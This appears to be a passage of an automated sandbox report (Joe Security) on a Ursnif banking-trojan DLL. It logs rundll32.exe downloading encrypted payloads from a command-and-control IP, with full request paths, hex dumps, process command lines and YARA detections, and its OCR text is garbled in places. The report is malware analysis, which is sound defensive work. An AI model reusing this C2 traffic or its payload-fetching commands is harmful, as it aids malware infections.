Apr 28, 2022 15:36:09.894797087 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.894814014 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.894830942 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.894849062 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.894859076 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.894905090 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.895411968 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.895463943 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.927962065 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.927989960 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.928059101 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.928086042 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.928761959 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.928822041 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.939477921 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.939510107 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.939528942 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.939579964 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.939603090 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.939620972 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.939632893 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.939639091 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.939662933 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.939768076 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.940469980 CEST 80 49763 94.140.115.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Apr 28, 2022 15:36:09.940490961 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.940509081 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.940529108 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.940552950 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.942028999 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.942049980 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.942075968 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:09.942090988 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:09.942120075 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.002970934 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.003031969 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.003077984 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.003129005 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.003175974 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.003182888 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.003298044 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.003357887 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.003359079 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.003412962 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.003421068 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.003464937 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.005657911 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.005700111 CEST 80 49763 94.140.115.8 192.168.2.4
Apr 28, 2022 15:36:10.005727053 CEST 49763 80 192.168.2.4 94.140.115.8
Apr 28, 2022 15:36:10.005738020 CEST 80 49763 94.140.115.8 192.168.2.4

HTTP Request Dependency Graph

e 94.140.115.8

HTTP Packets
Session ID Source IP Source Port Destination IP  Destination Port Process
0 192.168.2.4 49763 94.140.115.8 80 C:\Windows\SysWOW64\rundll32.exe
Timestamp Loy Direction Data
transferred
Apr 28, 2022 1198 ouT GET /drew/Gv5Z0BH7gi4l/Xtbvn5vUJ8S/xOKV3qdD_2FR7k/HBHojg_2BImMCG6h9pQAWJI/OLNLYJIFKOIbmIfx/x
15:36:09.408600092 LBPPT0798kTGWF/uarevgl_2FgMq6GmJI9/Ff_2BWjst/_2BcRASbYxXr5ShTBTuFyb/8zAPHcBPMbLfJI2Crow/FreBl
CEST Xlshr_2FnJ_2FgWzv/h4GyHVjgDhcnY/ozdl4s6t/aG5qJQUNKTWUqUa97JxeXEE/N4CNuvvBIW/ItFngFPJIKxxgxJ

Olb/WVUcVG1SDD9B/T_2BjHrCIGz/H.jlk HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
Host: 94.140.115.8

Connection: Keep-Alive

Cache-Control: no-cache
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kBytes

Direction
transferred

Timestamp
Apr 28, 2022 1200 IN
15:36:09.817040920

CEST

Apr 28, 2022 1395 ouT
15:36:10.453628063
CEST

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 28 Apr 2022 13:36:09 GMT

Content-Type: application/octet-stream

Content-Length: 186004

Connection: keep-alive

Pragma: public

Accept-Ranges: bytes

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0

Content-Disposition: inline; filename="626a9849b9f66.bin"

Data Raw: 82 b0 5a f9 80 5¢ 88 d2 b9 a9 03 66 fc cb 05 5a 55 el a3 Oc 1d f4 74 76 10 8c be bl 96 6a c9 05 cb 3a 20 {7
40 97 8d cf 82 7e d8 63 47 d6 66 53 a2 b2 df 46 50 eb 66 05 3b 69 3c 4e e7 2d b7 c¢5 9a 11 b9 f1 b6 05 bd 93 ed 4a 54 06
088 24 04 14 8b 92 a3 63 12 78 a9 c3 92 cb d4 7c 87 14 e4 63 d4 05 20 f9 3c 6a 5f f1 7e 65 84 63 e2 4e 82 6e 48 23 ef
28 da 52 05 8e fb 30 d8 02 06 d9 d3 14 82 03 b0 45 35 de 9c 1f 71 d0 9b 3a c9 80 Oc 04 e9 c4 55 c2 8e 9b 6b 71 37 e2
ab 42 c6 3a 26 d7 99 03 87 ed 51 05 fb a8 a8 86 c5 al e5 48 fd 9b 55 b0 2 2d 73 08 e3 2f 3a bb 98 30 78 3c Of 13 bf 4c
26 40 74 75 92 a2 bf 07 20 f8 3f 0a 84 8a ab fc df cf 71 74 b4 60 79 99 09 2d 7f 82 52 87 b6 5b 77 e2 98 6¢ 4b 07 fc 75 8b
6f 2e Oc 46 a5 fb cb 29 1a fd d8 c3 8d d4 6e 88 55 e5 34 e2 23 de ¢9 96 57 7e 4d 02 39 75 cb 23 c3 1e b7 9a d8 de 82 90
2764 d6 fb 51 22 ec 6d 93 97 e8 7d 81 8c 5e 56 ae al 23 f9 43 ad c1 Oe 4c 7e 2f 7 4a f9 22 7c 26 €9 77 05 f2 81 80 74
bc 08 25 7f 80 7f c4 eb 84 4c ac 58 d2 03 f0 4a 39 cc 31 80 de 78 83 47 b7 4e c4 b8 56 a8 ad 9c 7d 09 Oa 70 63 {8 9f 4a
53 24 3f 4a ¢8 58 39 a2 b7 9c 4a ef 6e 4a 5b f4 22 58 ba 98 04 7a 10 d5 aa fe 88 33 Oc e5 14 16 6f 60 a5 50 24 b4 2a 29
d7 6b f0 76 b1 e2 fd fc 14 6 86 09 f4 cc d3 9d 7 2e fd 1f f4 a0 ca fe €7 27 dd 71 dd dd 64 b5 31 24 30 94 6c ba 10 fc 1c dc
1d bb e6 97 84 46 58 ca 9c e6 ed 19 10 f6 cf al 08 89 ff c8 d5 aa Oe 42 31 98 56 c5 75 60 2d ab e7 b0 3d al 48 ed 3e 89
1b 2c 21 10 57 45 6e 61 aa 8f a5 ad al 66 2b e2 ac 70 4f 75 c1 65 d0 45 ef 80 32 2b 20 e4 d8 4a da ea 62 Ob 77 45 56 1d
01 fe 80 42 8f 6b 26 4f 6¢ 1d 53 82 9a 60 a2 db 4f fe 2¢c 50 1a 2b d0 73 cc 11 05 db 08 70 85 06 1f 8b 9c ea 4c f8 36 5a 6e
a6 Oe e3 02 59 b7 d5 cd 3b 24 ed d7 bf 65 b2 8a 84 7c 35 da 68 c0 2e cc 63 4e 6¢ b6 71 9a 51 95 6a 9a el el 78 fb 92
40 9d 77 c6 d0 9a 02 5e fd e5 ca 48 al d1 c9 3f 81 de 26 d8 62 71 2 91 36 fd 34 7c d5 Oe 3e 11 7a 05 b6 84 b3 01 33 13
fO a5 86 ee 24 b7 1e 71 3d 73 98 Oc 6b 3b b1 21 28 04 71 0f da 1c 37 6e 5e 3f 29 06 e4 €0 6e c1 7d 2b a8 le d9 fe €8 ae
€827 e7 2f 17 f9 20 25 24 3f de 68 e7 f5 24 79 71 22 a2 52 95 43 c5 05 f4 4f 1b 7a a6 b9 2d c8 2a d5 3d 92 db 83 04 55
20 07 68 f7 3b 47 1a 47 62 e6 0a 9a ab c2 3a f9 95 2b 59 ff 50 44 c0 bd 3¢ d4 39 74 20 a7 fc bf d9 ab b2 a7 e4 4d ee 69
b4 4e 36 21 29 8a 39 Oa ec 3b df 04 06 df 56 d4 10 92 74 a2 85 4c la d1 61 18 59 70 75 4e €9 ac 21 f0 9e €9 3c 7d 93 a9
4e ad 40 74 fO cd 04 23 85 d8 62 16 75 5¢ 97 69 e3 16 65 d3 46 da 89 df 99 fb 57 32 2f b1 f2 35 24 bc d7 6d f5 01 be ea fb
a7 7d c5 d7 94 77 f9 50 ae 5d 7f 68 db 96 fa 5d 2d 47 68 bb 5d a9 41 93 11 90 87 87 82 32 7a ff 01 7a 72 5b b5 2 b9 99
€6 32 1f 64 f2 b6 90 76 93 18 1b 0f ef 4c 57 80 cf 3a 59 8f b4 ¢3 d5 fc d2 cb ¢6 f9 01 4d c9 51 08 61 7a ad 91 e5 16 b0 ba
7085 d9 7c 5d 96 9b 20 c5 23 f7 93 32 8d 34 8f 3d 39 c5 81 cf 4a Ob a6 8 bc be 1b 3f 87 93 06 7c 29 ed 6a ba 6¢ 6a ff 37
9e 8d 30 81 6d e7 4e 8¢ 37 de 7 39 5f 8b 00 2f af 4d ea 56 2f 78 61 34 ce 07 d3 37 8b 51 99 02 dc 02 3f f4 31 de 2f 44 2f
c5e9

Data Ascii: Z\fZUtvj: @~cGfSFPf;i<N-JT$cx|c <j_~ecNnH#(ROE5q:Ukq7B:&QHU-s/:0x<L&@tu ?qt’y-R[wIKuo.F)
nNU4#W~M9u# dQ"m}V#CL~/J"|&wt%LXJIIIXGNV}pcIS$?2IX9InJ['Xz30" P$*)kv.'qd1$0IFXB1Vu -=H> IWEnaf+pOueE2+
JbwEVBK&OIS O,P+spL6ZnY;$e|5h.cNIqQjx@w" H?&bq64|>z3$q=sk;!(q7n"?)n}+" %$?h$yq"RCOz-*=U h;GGb:+YPD<9t
MiN6!)9;VtLaYpuN!<IN@t#bulieFW2/5$m}wP]h]-Gh]A2zzr[2dvLW:YMQazp|] #24=9J7?)jlj70mN79_/MV/xa47Q?1/D/

GET /drew/LzZSDO0tVM_2BsonXWK/DxGr8_2Fs/ptvwg5b1iSbmLO0teUgxQ/90_2BYDNRVVPoQoxMtW/BldfmFoOuk
2JeDObjwSUDY/Htb97x6cm9qTp/tEKEVLIP/NOHksQRnfyb9faVvag3lqt7w_/2FGj3GkMdb/gW3IDpUUG8UJIpLQKT/d
_2FWch36CgQ/Ms7kl6_2FQw/_2FYis_2FJuf4b/1W5qGDemarWZETpD245uj/A3G16gP5q0jvKH3G/vw5_2BVLbj8z
6ts/CLUIAk4VGnKQgZIEBPz/xZOKbINF.jlk HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: 94.140.115.8

Connection: Keep-Alive

Cache-Control: no-cache
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kBytes

Direction
transferred

Timestamp
Apr 28, 2022 1397 IN
15:36:10.855468988

CEST

Apr 28, 2022 1673 ouT
15:36:11.602821112
CEST

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 28 Apr 2022 13:36:10 GMT

Content-Type: application/octet-stream

Content-Length: 238744

Connection: keep-alive

Pragma: public

Accept-Ranges: bytes

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0

Content-Disposition: inline; filename="626a984ac262f.bin"

Data Raw: 70 f4 cc a4 a7 b2 26 b8 47 5b c3 6f ba 9f ad f4 6d 09 c9 57 ca 26 0a 77 61 b4 3b a2 dc 3e 2d dc fd 52 b9 28 2b
c3 ca b3 88 6b 09 50 34 4e d9 18 8a b3 b9 ea 6b 95 93 71 91 d0 67 6d da 30 3d 53 6b ad 1f b2 e4 21 61 9d 9c e8 01 5
70db al 51 44 9d eb 06 74 37 e8 05 6e c4 el a8 80 15 fd ec Oe 03 b9 dc fa 2d 50 ee a3 6¢ 36 a5 49 32 9e 11 b1 03 6a f1
fd 61 b4 74 91 d3 39 cc 8a 37 Oc f7 89 35 23 24 de 9c e5 f4 d0 53 67 76 5d ac 15 ba d7 f8 f7 17 47 af 20 21 18 84 71 2¢c
5e 58 a7 e5 54 70 ea 39 03 53 ec 37 54 63 29 79 4a 6b 98 5e df 82 31 70 9d f9 1e Oe e7 cb d9 d9 d6 44 5e b5 9b b0 0f a2
32d3 24 de 19 f8 6 3d 5c 70 ae d6 69 d8 ef 38 bf a9 45 b3 52 ¢4 f3 ad d1 72 10 f9 74 65 27 2f cf d9 d2 bf 06 a4 5c a8 67
ea 8e e9 cf 24 c0 9b c5 7f b0 fa b5 a3 f7 30 41 b6 ca ed c2 c7 caea 24 79 61 bc 3d 78 48 f6 55 e5 f2 1d 23 c¢7 5f 90 b0 50
64 f8 d4 0d e6 fe a3 fe 2e b4 05 f1 32 3e 84 f3 c5 fd ae ec 86 ¢7 d3 1d a0 ba a8 5d 08 54 69 80 4b 9e 82 1b 71 1f 32 75 a9
9b 9e e3 b1 a7 fa 45 22 Ob 6e 03 37 5b 77 15 a8 c8 4a ae 08 d9 45 68 21 4b 27 cf ae 51 Oe 2c 91 c¢7 7a b0 6b 32 16 59
ad 7c 06 7d be 87 77 0d dO 74 e3 01 69 49 e7 b2 bf 84 a2 fb a3 8e b5 67 93 36 21 63 89 14 83 44 74 60 ef ec d8 16 f6 d3
70 77 Of df 4f 09 3b b2 53 69 2a 32 c6 1f fa de 0d 26 ee f7 d2 54 64 fb 77 49 e2 a4 ca 2f 00 7d 94 1b 7d 93 96 63 02 99 55
cc ae 01 70 7d 40 46 e6 32 1b 9b 27 c7 33 85 3f 65 81 cb 20 23 2a 71 1a af 49 a6 07 49 3a 76 74 49 ae bl 2b 70 b1 83
02 59 72 a9 b0 6b 63 59 d6 9e 8d 07 9e 18 8b 6e 15 22 b0 a2 f6 d5 Oc 9¢ 25 17 1le 55 b3 c5 b8 3f f2 4b 42 6e 6b 7b ec 7a
93 2359 ae 71 57 ea 08 8d b3 47 d3 83 0d af 46 44 Oc 89 06 1d 2b c5 b2 ed e7 9b 18 75 48 be e7 95 86 4d a9 8 87 4a fe
74 0e 91 el bb 6557 72 ec 1c ba 89 dO f8 b7 db 3c €9 3e 12 68 53 8d 92 5f 43 38 dO ¢3 bb 6 43 bc 18 04 34 95 3f a0 bb
80 98 cc 86 18 bf 26 33 44 c0 fd e4 04 74 73 81 ef 79 82 1b 1d 63 el 12 94 64 48 8b fd 2e 1c ab ae 1e 25 46 96 33 57 55
98 f1 1b 26 1b 5e 9d 24 e2 52 83 df 1b 03 38 da fd dc 65 13 04 ee 6b 55 c4 9b b5 33 48 24 24 01 32 02 b0 f9 81 bf 43 11
4b 23 a9 54 40 87 82 8 90 fe 49 58 95 6e bl e5 b4 c2 15 3a 56 20 ee c6 de €5 7b f2 b1 47 ad 54 af ec bd 79 0b 72 4e 55
bc fc 33 9b db f9 f9 31 a5 fb cb 9e 93 e5 f4 c9 6b 53 €8 08 11 29 de 49 e0 b8 c2 2d c9 31 14 d6 88 30 af 91 61 cf 84 a3 65
4d a4 5f 29 83 a8 b1 86 5¢ 77 2b 4f 20 15 e5 ef 2b 55 81 Oc ed ef 27 62 ¢7 59 80 7b 37 42 c8 db dc 61 ee Ob 37 6e 77 85
88 66 a5 1c 54 42 b1 29 83 ac af 1e 28 1le 25 f0 4e 09 d9 d6 44 2b 14 cf 64 17 d2 8f 61 26 36 e5 58 12 5f 42 12 54 8¢ 94
ba e0 1c a3 cc 79 fa 92 1a 85 80 f4 8f 14 f1 75 3 2f 9e ed 86 0f 60 77 6b ce 41 2a e7 ed 06 bl c2 19 eb 73 7f dO 1e d3 9e
34 89 ed f0 cd b6 6¢ 73 20 ed 09 90 b8 67 al bc ca 3b 1a b8 f3 73 01 01 9e 53 €5 cc 5¢ 95 cd 18 Ob 87 el 27 52 20 23 2f
08 fd cd 23 3d 55 41 95 b0 ad fe b4 f9 €3 a8 b0 71 6e ea 23 f2 b1 3e a6 e6 d9 f4 ab 2f cc f7 48 bc 42 cc 1c e2 87 {5 6f 13
a6 48 34 ff b8 64 5f ae 65 30 50 13 ec 22 34 58 69 d1 Oe f6 80 92 36 6 de 70 7 9e 42 bd 59 04 89 3e 27 df c7 52 0f 10 05
2b 93

Data Ascii: p&GlomW&wa;>-R(+kP4NkggmO0=SklapQDt7n-P1612jat975#$Sgv]G !q,"XTp9S7Tc)yJk 1pD"2$=\piBERrt
e'\g$0A$ya=xHU#_Pd.2>]TiKq2uE"n7[wJEh!K'Q,zk2Y [}wtilg6!cDt pwO;Si*2&Tdwl/}}cUp}@F2'3?e #*qll:vtl+pY
rkeYn"%U?KBnk{z#YqWGFD+uHMJteWr<>hS_C8C4?&3DtsycdH.%F3WU& $R8ekU3H$$2CK#T@IXn:V {GTyrNU31k
S)I-10aeM_)\w+0O +U'bY{7Ba7nwfTB)(%ND+da&6X_BTyu/'wkA*s4ls g;sS\'R #/#=UAqn#>/HBoH4d_e0P"4Xi6pBY>'R+

GET /drew/6wy5UyOmrJ6HQIq62A/VkrX6r04/0fFrbY MADFb5wAzrw_2B/FNzZEWhK2WSNEE81GIZV/7J75XXRSaK
XIPINEWRIx2d/cgL4K_2BZrlIVj/9osxFaDv/LcObZAFyY2PSeXZy5ftLnD9/al2n0BaRS9/SY2dQ9Im8xRHbivY38/0
pCnmgy_2Bef/l4rMGbb_2B_/2B4w0OAfPWShYFd/4cpEVVLZL_2FDyp7NTbNc/rNxuOulTLsW428a0/71RUURUKbVQL
7Cx/eCGP96f5gt/RxWMaakdm/g.jlk HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: 94.140.115.8

Connection: Keep-Alive

Cache-Control: no-cache
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kBytes

Direction
transferred

Timestamp

Apr 28, 2022 1674 IN
15:36:12.062417984
CEST

Statistics

Behavior

System Behavior

Click to jump to process

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 28 Apr 2022 13:36:12 GMT

Content-Type: application/octet-stream

Content-Length: 1865

Connection: keep-alive

Pragma: public

Accept-Ranges: bytes

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0

Content-Disposition: inline; filename="626a984bf07fc.bin"

Data Raw: 13 c8 48 02 7e 92 9b 44 9c 80 e3 6e 2a f8 f3 75 79 58 37 d9 61 c6 1b e4 d8 93 7d 37 75 01 12 d2 dO 2b 2f 69
5d ac 0d 29 el ed 10 b5 cc ea 27 9f ad 49 81 4e 50 ac 8e da db 88 93 13 bd ea a0 ec 3a c4 3a 5b ef b7 d0 7f 06 cc 90 ad
9b e9 95 fa 32 b7 86 €9 8c 81 89 a6 d6 ba b9 9a c2 3c 39 70 b2 23 b3 5a b8 27 98 32 fe 60 3b 8c ad al cO 68 98 99 41
b6 e0 Ob 1b bb 99 3b 8f b1 77 50 75 d9 fb b6 Od 7e e6 78 02 36 bf f9 4b €5 d9 7e b7 8f 03 ed 31 a3 a0 dd 16 d3 d3 f1 bd
b1 11 8e 79 1a b6 14 10 d4 33 de 12 80 68 4e e5 8d 21 73 47 45 58 98 ba 2f ea bb dO df 50 d3 4f de 07 ba dd 02 ca 88
47 9e b5 32 3f 2c 9d 03 8e 52 93 26 2f f6 92 ad 4e bf al 80 42 37 3f d2 48 Ob fb 88 54 €8 12 ed de 44 ee 93 07 f1 bc 5a 5f
a3 f5 49 94 dc 1d 82 bf 3f d3 7e el d7 76 1c 3b b8 f1 06 b5 fe 86 c1 aa b9 65 bf {7 Oe 75 3d e5 ef b2 c8 ee 3 b1 3a 50 b6
be 3e aa 47 82 8c cc b2 22 fb 1b 03 33 6d 86 a3 c8 3c b7 38 Oc db 03 96 2b 3f 45 85 3e fc 1d 8e 9f 93 bb 52 dd 88 95 a3
e0f6 33 5e a8 1c 24 46 36 9c a6 73 40 3d 18 6¢ a5 08 c5 af 02 57 15 e4 80 67 47 df e9 71 c1 14 6f 02 a7 80 8b c8 6e d2
e057d4 7ccl3ab7999ddb 11 ¢3 47 2a 12 77 cf d9 5b 06 b5 f9 bd 01 2f ec 21 db a8 ce 75 f5 3a 04 5e 14 b6 51 27 8f
16 49 94 da 77 1d bd cd 5e 4a 4b 7d d1 e3 f4 3f 5¢ 1a 33 7e 91 5f 94 c0 41 07 68 9d cd 6b 72 e4 34 18 1c f3 72 6e al d4
b9 1c 49 84 6¢ 47 11 f3 57 f0 54 32 2e Ob 32 96 ed 10 ae 5b fa 0d 16 80 3d 6a bb d3 d2 82 2c 91 c4 0a 2e 48 32 6 04 a4
94 d8 ba d6 89 b4 5b 09 d5 6b 54 11 8b 98 73 26 24 d1 68 bc 3c 20 27 6¢ 5b a7 b2 63 47 4a d8 6e e2 04 da 17 97 b0 18
45 db da 03 19 16 c7 62 30 10 c4 db c2 36 68 bc Ob 32 e3 62 33 04 59 93 ca 45 8d cc 6b c0 b3 74 59 f4 b3 aa 69 25 00
99 62 4a e6 72 12 59 26 Oe 89 0a 46 38 77 84 d7 88 ee Oa a2 30 c6 13 91 f1 9e 97 39 a0 f9 c5 6f a7 f6 f9 37 d6 82 09 48
ec fe 48 99 47 76 55 ff 87 fe 03 2d 24 ec f8 ef 59 35 71 40 63 5a 0f c0 08 c0 8b {7 2e a4 db ed ff 91 8e 4d a9 4b 2c cc 12
ad ca dc 93 7a b3 43 11 23 9d 51 b0 bc 04 7a 86 43 7c be 41 f3 ec 95 d3 8d 10 44 e ef 4f d1 3f 39 52 bb fd ba 1f 85 d1 {5
10 0b f2 cc €3 34 80 b6 b1 d3 b2 32 79 5a 61 ee b3 db 2d 78 90 06 dd 27 09 6d 1a a9 d7 3b 68 06 2b 51 e8 37 64 6f 76
ab 6b 22 bc 5e 6a 23 99 a3 ff 69 96 ba 18 c4 de 8a 4e a4 44 d5 ce 2e 9d 1b 7b 65 84 el e6 8d 03 cb 97 bf 64 a4 2d e2 b2
5e 29 45 2f ef 7c 73 73 91 74 fa 22 a2 ef 15 d8 6e 6e 09 d8 2b 09 34 b4 3c 40 20 94 ee fc fc bf 6¢ 46 77 69 94 c4 c1 a8 87
6 3e da 26 96 ff 17 f5 8e a9 39 46 eb d5 c5 b8 b1 ba e9 cb 87 cd 47 49 dd e2 Oa ac 88 65 a5 6e el ca 3b 35 f9 fb 96 f3
Oa ba 02 ab 15 78 ed 40 43 75 df f0 82 f3 db 02 6e 23 5f 8d de 35 c7 c4 68 86 8a 5f 86 fe f1 6b €8 d0 b9 e7 50 4a 3e 35
3e a4 83 e3 9b 59 9e dO cf 15 9a a4 1d 3c b7 a0 26 bf 82 c4 85 7c 6¢ 80 8d Oe 28 71 35 ab 2d 6b Oe ec 33 f4 86 8a 57 14
62 be 9f 01 e5 4a 67 75 58 c5 47 1b Oc 8c 41 ac 32 92 39 77 2a ee 89 69 b9 48 le el 84 ca 23 7a 77 5d 43 ad c0 b0 41
93 aa 01 84 86 54 fc 2f 43 a4 79 9a 69 b6 1 33 3a a0 cO 7e 7f e0 68 38 c5 24 cb 33 4f c7 3f 42 b6 32 74 86 68 aa f9 98 9e
9e 44 e4 84 d9 e4 93 32 51 f2

Data Ascii: H~Dn*uyX7a}7u+/i]) INP::[2<9p#Z'2";hA;wPu~x6K~1y3hN!sGEX/POG2?,R&NB7?HTDZ_|?~v;eu=:P>G"
3m<8+?E>R3"'$F6s@=IWgGaonW/|:G*w[/!lu:"Q'IWwNIK}?\3~_Ahkr4rnllGWT2.2[=j,.H2[kTs&$h< ‘I[cGINEb06h2b3YEktY
i%bJrY&F8w0907HHGVU-$Y5q@cZ.MK,zC#QzC|ADO?9R42yZa-x'm;h+Q7dovk " \j#iND.{ed-*)E/|sst"nn+4<@ IFwi>&9FGI
en;5x@Cun#_5h_kPJ>5>Y<&|l(q5-k3WbJguXGA29w*iH#zw]CAT/Cyi3:~h8$30?B2thD2Q

@ loaddl32.exe
® cmd.exe

@ rundll32.exe

@ mshta.exe

@ powershell.exe
@ conhost.exe

® csc.exe

@ cvires.exe

@ csc.exe

@ cvires.exe

@ control.exe

@ explorer.exe

@ cmd.exe

@ conhost.exe

® PING.EXE

@® RuntimeBroker.exe
® cmd.exe

@ conhost.exe

® rundll32.exe
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Analysis Process: loaddll32.exe PID: 6352, Parent PID: 3728

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

0

15:35:36

28/04/2022

C:\Windows\System32\loaddlI32.exe

true

loaddlI32.exe "C:\Users\user\Desktop\6262961800203.dlI"
0x1e0000

116736 bytes
7DEB5DB86COAC789123DEC286286B938

true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion
Analysis Process: cmd.exe PID: 6368, Parent PID: 6352

General

Target ID: 1

Start time: 15:35:37

Start date: 28/04/2022

Path: C:\Windows\SyswOWe64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a961800203.dII",#1

Imagebase: 0x1190000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion

Analysis Process: rundll32.exe PID: 6388, Parent PID: 6368

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

2

15:35:37

28/04/2022

C:\Windows\SysWOW64\rundll32.exe

true

rundll32.exe "C:\Users\user\Desktop\626a961800203.dII",#1
0xca0000

61952 bytes

D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

Copyright Joe Security LLC 2022

Count Source Address

Count Source Address

Symbol

Symbol
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Has administrator true
privileges:

Programmed in: C, C++ or other language

Yara matches: .

Reputation: high

File Activities

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.269094319.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.317079618.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000002.00000002.435982422.00000000053CF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.320583646.000000000554C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.268943694.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.269258996.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.269139027.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.269181846.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.269215067.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000002.00000003.319410476.000000000564A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000002.00000003.435027590.0000000005019000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000002.00000003.319530882.0000000005748000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
